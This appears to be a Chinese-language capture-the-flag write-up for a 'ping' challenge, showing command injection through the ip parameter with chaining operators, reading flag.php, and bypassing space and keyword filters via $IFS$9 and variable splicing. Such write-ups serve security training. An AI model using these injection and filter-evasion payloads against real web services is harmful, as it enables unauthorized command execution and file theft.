打开这道题的环境,可以看到以下画面:
考虑使用get方式传入ip,/?ip=127.0.0.1,得到回显:
这道题的题目是ping,我就去简单了解了一下ping命令的概念:
ping是一个十分基本但又十分重要的TCPIP网络工具。它的作用主要为:
(1)通常用来检测网络的连通情况和测试网络速度;
(2)也可以根据域名得到相应主机的IP地址;
(3)根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量。
(4)因为具备以上功能,ping命令常常被黑客用来进行网络扫描和攻击。
对于网络管理员和普通用户来说,我们通常用它来测试网络的连通情况,如果无法正常令是检测网络故障的基本工具。
虽然好像并没有什么用......
通过之前学到的多命令执行符号尝试解题:
; 分号隔开每条命令,整行命令按照从左到右的顺序执行,彼此之间互不影响,所有的命令都会执行。
| # 只执行后面那条命令。
|| # 只执前面那条命令。
& #两条命令都会执行。
&& # 两条命令都会执行。
尝试使用/?ip=127.0.0.1;ls列出网站下的目录内容,得到回显:
发现有flag.php(恭喜你距离得到flag又近了一步)
尝试直接获取flag.php中的内容,/?ip=127.0.0.1;cat flag.php,得到回显:
根据提示得出:空格可能被过滤了(用不了空格了)
既然用不了,那就尝试用其他方式代替空格:
尝试使用上述方法绕过空格(就是把空格替换成上述内容,一个一个试)
我就不一个一个试了(doge)
发现使用$IFS$9的时候产生了新的回显:
发现flag竟然也被过滤了......
那就继续绕过,尝试使用多变量拼接方式绕过:
/?ip=127.0.0.1;a=lag;cat$IFS$9f$a.php,得到回显:
可以看出这里已经成功绕过了,但是还是没有发现flag,看一下源码
成功得到flag。
参考内容如下: